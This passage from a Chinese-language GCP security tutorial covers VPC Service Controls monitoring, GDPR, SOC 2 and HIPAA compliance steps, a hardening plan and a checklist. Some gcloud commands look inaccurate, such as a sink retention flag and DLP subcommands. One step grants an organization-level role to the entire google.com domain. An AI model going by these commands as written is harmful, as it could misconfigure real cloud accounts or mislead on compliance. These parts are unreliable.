Phase 3: Enforced Mode (全部專案) → 正式啟用
3. 與 Private Service Connect 搭配
| 面向 | Private Service Connect | VPC Service Controls |
|---|---|---|
| 目的 | 私密連線通道 | 資料邊界防護 |
| 防護層級 | 網路層 | 應用程式層 |
| 使用場景 | 連線至 SaaS 服務 | 防止資料外洩 |
建議架構:
VPC Service Controls (外層防護)
└─> Private Service Connect (內層通訊)
└─> GCP 服務(Cloud Storage, BigQuery)
4. 監控邊界違規
# 設定告警:偵測 VPC SC 違規
gcloud logging sinks create vpc-sc-violations \
bigquery.googleapis.com/projects/my-project/datasets/security_logs \
--log-filter='protoPayload.metadata.vpcServiceControlsUniqueId:*'
# 查詢最近的違規
bq query --use_legacy_sql=false \
'SELECT timestamp, principalEmail, resourceName
FROM `security_logs.vpc_sc_violations`
ORDER BY timestamp DESC
LIMIT 10'
6. 合規要求:GDPR、SOC2、HIPAA 實踐指南
6.1 GCP 合規認證概覽(2026 最新)
根據 Google Cloud Compliance,GCP 支援 100+ 合規認證與標準:
| 合規標準 | 適用範圍 | GCP 認證 | 客戶責任 |
|---|---|---|---|
| GDPR | 歐盟個人資料 | ✅ Google 提供 DPA | 實作資料主權、可攜權 |
| SOC 2 Type II | 服務組織安全 | ✅ 年度第三方稽核 | 應用程式安全、存取控制 |
| HIPAA | 美國醫療資料 | ✅ 提供 BAA | 僅使用 HIPAA 合規服務 |
| ISO 27001 | 資訊安全管理 | ✅ 全球認證 | 建立 ISMS |
| PCI DSS | 支付卡資料 | ✅ Level 1 認證 | 應用程式層級合規 |
| FedRAMP | 美國聯邦政府 | ✅ High/Moderate 授權 | 符合 NIST 800-53 |
6.2 GDPR 合規實踐
GDPR 七大原則:
- 合法性、公平性、透明性(Lawfulness, Fairness, Transparency)
- 目的限制(Purpose Limitation)
- 資料最小化(Data Minimization)
- 準確性(Accuracy)
- 儲存限制(Storage Limitation)
- 完整性與機密性(Integrity and Confidentiality)
- 可問責性(Accountability)
GCP 工具對應 GDPR 要求
| GDPR 要求 | GCP 解決方案 | 實作方式 |
|---|---|---|
| 資料主權 | Cloud KMS 區域金鑰 | 金鑰只能儲存於特定地區 |
| 資料最小化 | DLP API | 自動偵測並遮罩 PII |
| 被遺忘權 | Cloud Storage Lifecycle | 自動刪除過期資料 |
| 資料可攜權 | BigQuery Export | 提供 JSON/CSV 匯出 |
| 違規通知 | Security Command Center | 72 小時內偵測並通知 |
| 資料處理協議 | Google DPA | cloud.google.com/terms/data-processing-addendum |
實戰:使用 DLP API 偵測 PII
# 1. 建立 DLP 檢查範本
cat > dlp-template.json <<EOF
{
"inspectConfig": {
"infoTypes": [
{"name": "EMAIL_ADDRESS"},
{"name": "PHONE_NUMBER"},
{"name": "CREDIT_CARD_NUMBER"},
{"name": "IBAN_CODE"}
],
"minLikelihood": "LIKELY",
"limits": {
"maxFindingsPerRequest": 100
}
}
}
EOF
# 2. 掃描 BigQuery 資料表
gcloud dlp datasources bigquery inspect \
--project=my-project \
--dataset=customers \
--table=user_data \
--inspect-template-name=dlp-template.json \
--output-table=my-project:dlp_results.scan_results
# 3. 自動遮罩 PII(去識別化)
gcloud dlp content deidentify \
--info-types=EMAIL_ADDRESS,PHONE_NUMBER \
--deidentify-template-name=projects/my-project/deidentifyTemplates/mask-pii
實作資料主權(Data Residency)
# 建立歐盟專屬金鑰環(金鑰永不離開 EU)
gcloud kms keyrings create eu-only-keyring \
--location=europe-west1
gcloud kms keys create eu-data-key \
--location=europe-west1 \
--keyring=eu-only-keyring \
--purpose=encryption
# 建立歐盟專屬 Cloud Storage bucket
gcloud storage buckets create gs://eu-customer-data \
--location=EU \
--default-encryption-key=projects/my-project/locations/europe-west1/keyRings/eu-only-keyring/cryptoKeys/eu-data-key
# 設定 Organization Policy:禁止資料離開歐盟
cat > org-policy.yaml <<EOF
constraint: constraints/gcp.resourceLocations
listPolicy:
allowedValues:
- in:eu-locations
EOF
gcloud resource-manager org-policies set-policy org-policy.yaml \
--organization=123456789
6.3 SOC 2 合規實踐
根據 Linford & Company: Leveraging GCP SOC 2 Controls:
SOC 2 五大信任服務準則(TSC):
- Security(安全性)
- Availability(可用性)
- Processing Integrity(處理完整性)
- Confidentiality(機密性)
- Privacy(隱私性)
GCP 對應 SOC 2 的控制措施
| TSC 準則 | GCP 控制措施 | 客戶實作建議 |
|---|---|---|
| CC6.1: 邏輯與實體存取控制 | IAM, BeyondCorp | 實作最小權限、MFA |
| CC6.6: 加密 | Cloud KMS, CMEK | 所有敏感資料啟用 CMEK |
| CC7.2: 監控系統 | Cloud Logging, SCC | 保留稽核日誌 1 年+ |
| CC8.1: 變更管理 | Cloud Build, Binary Authorization | 所有變更經 CI/CD 與核准 |
| A1.2: 可用性承諾 | SLA 99.95%+ | 使用 Managed Instance Group |
實戰:建立 SOC 2 稽核證據
# 1. 匯出 IAM 權限清單(證明最小權限)
gcloud projects get-iam-policy my-project \
--format=json > iam-policy-audit-$(date +%Y%m%d).json
# 2. 匯出稽核日誌(證明存取監控)
gcloud logging read "logName:cloudaudit.googleapis.com" \
--freshness=7d \
--format=json > audit-logs-$(date +%Y%m%d).json
# 3. 匯出 Security Command Center 發現(證明漏洞管理)
gcloud scc findings list organizations/123456789 \
--filter="state=ACTIVE" \
--format=json > scc-findings-$(date +%Y%m%d).json
# 4. 建立自動化稽核報告
gcloud scheduler jobs create http soc2-monthly-report \
--schedule="0 0 1 * *" \
--uri="https://us-central1-my-project.cloudfunctions.net/generate-soc2-report" \
--http-method=POST
6.4 HIPAA 合規實踐
根據 GCP Security Checklist 2026:
HIPAA 核心要求:
- 存取控制(Access Control)
- 稽核與問責(Audit and Accountability)
- 完整性控制(Integrity Controls)
- 傳輸安全(Transmission Security)
Step 1: 簽署 BAA(Business Associate Agreement)
1. 前往 Google Cloud Console → Compliance
2. 下載並簽署 HIPAA BAA
3. 回傳至 Google(cloud-hipaa@google.com)
Step 2: 僅使用 HIPAA 合規服務
✅ HIPAA 合規服務(部分清單):
- Compute Engine
- Cloud Storage
- Cloud SQL
- BigQuery
- Cloud KMS
- VPC
❌ 不合規服務(禁止儲存 ePHI):
- App Engine Standard
- Cloud Functions(除非在 VPC 內)
- Firebase
完整清單:cloud.google.com/security/compliance/hipaa
Step 3: 實作 HIPAA 安全規則
# 1. 啟用靜態加密(CMEK)
gcloud sql instances patch hipaa-db \
--disk-encryption-key=projects/my-project/locations/us-central1/keyRings/hipaa-keyring/cryptoKeys/ephi-key
# 2. 啟用稽核日誌(Access Transparency)
gcloud organizations add-iam-policy-binding 123456789 \
--member="domain:google.com" \
--role="roles/logging.accessTransparencyViewer"
# 3. 設定存取控制(僅授權人員)
gcloud projects add-iam-policy-binding my-project \
--member="group:hipaa-authorized@example.com" \
--role="roles/healthcare.datasetViewer" \
--condition="expression=request.time < timestamp('2026-12-31T23:59:59Z'),title=temporary-access"
# 4. 設定資料保留政策(6 年)
gcloud logging sinks create hipaa-audit-logs \
storage.googleapis.com/hipaa-audit-bucket \
--log-filter='logName:"cloudaudit.googleapis.com"' \
--retention-days=2190
6.5 合規自動化:Policy as Code
使用 Config Connector 將合規要求轉化為程式碼:
# compliance-policy.yaml
apiVersion: resourcemanager.cnrm.cloud.google.com/v1beta1
kind: ResourceManagerPolicy
metadata:
name: enforce-cmek
spec:
constraint: 'constraints/gcp.restrictNonCmekServices'
listPolicy:
deniedValues:
- 'storage.googleapis.com' # 禁止未使用 CMEK 的 Cloud Storage
organizationRef:
external: '123456789'
---
apiVersion: resourcemanager.cnrm.cloud.google.com/v1beta1
kind: ResourceManagerPolicy
metadata:
name: enforce-eu-location
spec:
constraint: 'constraints/gcp.resourceLocations'
listPolicy:
allowedValues:
- 'in:eu-locations' # 僅允許歐盟地區
organizationRef:
external: '123456789'
# 套用合規政策
kubectl apply -f compliance-policy.yaml
# 驗證政策生效
gcloud resource-manager org-policies list \
--organization=123456789
7. 總結與安全架構檢查清單
7.1 企業級 GCP 安全架構全景回顧
到這裡,我們已經把一整套企業級雲端安全防線搭起來了:
第七層:合規與治理
└─> GDPR, SOC 2, HIPAA 認證
第六層:資料外洩防護
└─> VPC Service Controls 服務邊界
第五層:資料加密
└─> Cloud KMS 金鑰管理(靜態、傳輸中、使用中)
第四層:威脅偵測
└─> Security Command Center 24/7 監控
第三層:零信任存取
└─> BeyondCorp Enterprise 情境感知授權
第二層:網路防護
└─> VPC, Cloud Firewall, Cloud Armor
第一層:身份與存取管理
└─> IAM 最小權限原則
7.2 GCP 資安成熟度評估
先對照一下,你的組織現在大概落在哪個階段:
| 階段 | 特徵 | 風險等級 | 下一步行動 |
|---|---|---|---|
| Level 0: 無防護 | 使用預設設定、無監控 | 🔴 Critical | 立即啟用 SCC Standard |
| Level 1: 基礎防護 | IAM 設定、防火牆規則 | 🟠 High | 啟用 MFA、審查權限 |
| Level 2: 進階防護 | SCC Premium、Cloud KMS | 🟡 Medium | 實施零信任架構 |
| Level 3: 企業級 | BeyondCorp、VPC SC、合規認證 | 🟢 Low | 持續優化與稽核 |
| Level 4: 最佳實踐 | 自動化合規、零信任、AI 威脅偵測 | 🔵 Minimal | 分享經驗、貢獻社群 |
7.3 30 天 GCP 資安強化計畫
Week 1: 基礎盤點與快速修復
| Day | 任務 | 工具 | 預估時間 |
|---|---|---|---|
| 1-2 | 啟用 Security Command Center Standard | GCP Console | 1 小時 |
| 3-4 | 修復所有 Critical 等級漏洞 | SCC Findings | 4-8 小時 |
| 5-7 | 審查 IAM 權限,移除過度授權 | IAM Recommender | 4-6 小時 |
Week 2: 身份與存取控制
| Day | 任務 | 工具 | 預估時間 |
|---|---|---|---|
| 8-10 | 強制 MFA(多因素驗證) | Google Workspace Admin | 2-4 小時 |
| 11-12 | 啟用 BeyondCorp Enterprise(試點專案) | IAP, Access Context Manager | 4-6 小時 |
| 13-14 | 設定情境感知存取政策 | Access Levels | 2-3 小時 |
Week 3: 資料保護與加密
| Day | 任務 | 工具 | 預估時間 |
|---|---|---|---|
| 15-17 | 建立 Cloud KMS 金鑰環與金鑰 | Cloud KMS | 2 小時 |
| 18-20 | 啟用 CMEK(高敏感資料) | Cloud Storage, Cloud SQL | 4-6 小時 |
| 21 | 使用 DLP API 掃描 PII | DLP API | 2-3 小時 |
Week 4: 邊界防護與合規
| Day | 任務 | 工具 | 預估時間 |
|---|---|---|---|
| 22-24 | 建立 VPC Service Controls 邊界(Dry Run) | Access Context Manager | 4-6 小時 |
| 25-27 | 準備合規證據(GDPR/SOC 2/HIPAA) | Cloud Logging, Asset Inventory | 6-8 小時 |
| 28-30 | 建立自動化稽核報告 | Cloud Scheduler, Cloud Functions | 4-6 小時 |
7.4 GCP 資安檢查清單(Security Checklist)
✅ 身份與存取管理(Identity & Access)
- 所有使用者啟用 MFA(多因素驗證)
- 移除
Owner角色,改用特定角色(如Editor、Viewer) - 服務帳號使用 Workload Identity(而非金鑰檔案)
- 定期審查 IAM 權限(每季一次)
- 啟用 Access Transparency(存取透明度日誌)
✅ 網路安全(Network Security)
- 防火牆規則使用最小權限原則(避免 0.0.0.0/0)
- 敏感服務僅允許內部 IP 存取
- 啟用 Cloud Armor(DDoS 防護 + WAF)
- 使用 Cloud NAT(避免 VM 直接擁有公開 IP)
- 啟用 VPC Flow Logs(網路流量監控)
✅ 資料保護(Data Protection)
- 敏感資料啟用 CMEK(Customer-Managed Encryption Keys)
- 金鑰輪替週期 ≤ 90 天
- 使用 DLP API 偵測並遮罩 PII
- Cloud Storage bucket 禁用公開存取(
allUsers) - 資料備份加密並異地儲存
✅ 威脅偵測與監控(Threat Detection & Monitoring)
- 啟用 Security Command Center Premium
- 啟用 Container Threat Detection、VM Threat Detection
- 設定即時告警(Critical/High findings)
- 保留稽核日誌至少 1 年(合規要求)
- 定期檢查 SCC Findings(每週一次)
✅ 合規與治理(Compliance & Governance)
- 簽署 HIPAA BAA(如適用)
- 實作資料主權(歐盟資料僅儲存於歐盟)
- 使用 Organization Policy 強制安全設定
- 建立自動化合規報告(每月一次)
- 定期進行安全演練(每季一次)
7.5 延伸學習資源
官方文件
- Security Best Practices: cloud.google.com/security/best-practices
- Security Command Center Docs: cloud.google.com/security-command-center/docs
- BeyondCorp Enterprise: cloud.google.com/beyondcorp
- Cloud KMS Docs: cloud.google.com/kms/docs
實戰教學
- Qwiklabs: Security & Identity in GCP: Qwiklabs 課程
- 東東 GCP 教學: dongdonggcp.com
- 思想科技學習專欄: masterconcept.ai
社群與論壇
- Google Cloud Community: cloud.google.com/community
- Reddit: r/googlecloud: reddit.com/r/googlecloud
- Stack Overflow: 使用
google-cloud-platform標籤
7.6 下一步:從資安到 DevSecOps
搭好安全架構只是開頭,真正的下一步是把安全做進開發流程裡(DevSecOps):
傳統流程:
開發 → 測試 → 部署 → [發現漏洞] → 緊急修復 💥
DevSecOps 流程:
開發 → 自動化安全掃描 → 測試 → Binary Authorization → 部署 ✅
↑ ↓
└───────── 持續監控 ←────────┘
下一篇文章預告:
總結
企業級雲端資安不是做完一次就收工的專案,而是要一直跟著走的事。從零信任架構到合規認證,每一層防護都扣在一起,少一塊就會漏。
記住三個關鍵原則:
- ⚡ 縱深防禦:不依賴單一安全機制
- 🔐 零信任模型:永不信任,總是驗證
- 🔄 持續改進:安全是動態過程,非靜態狀態
現在就動手,從 30 天資安強化計畫的第一步開始,一步步把你的企業級 GCP 安全架構搭起來。
下一課 ACE-301:企業上雲實戰——GCP 遷移評估與執行策略,帶你走完從評估、規劃到執行的整條上雲路徑。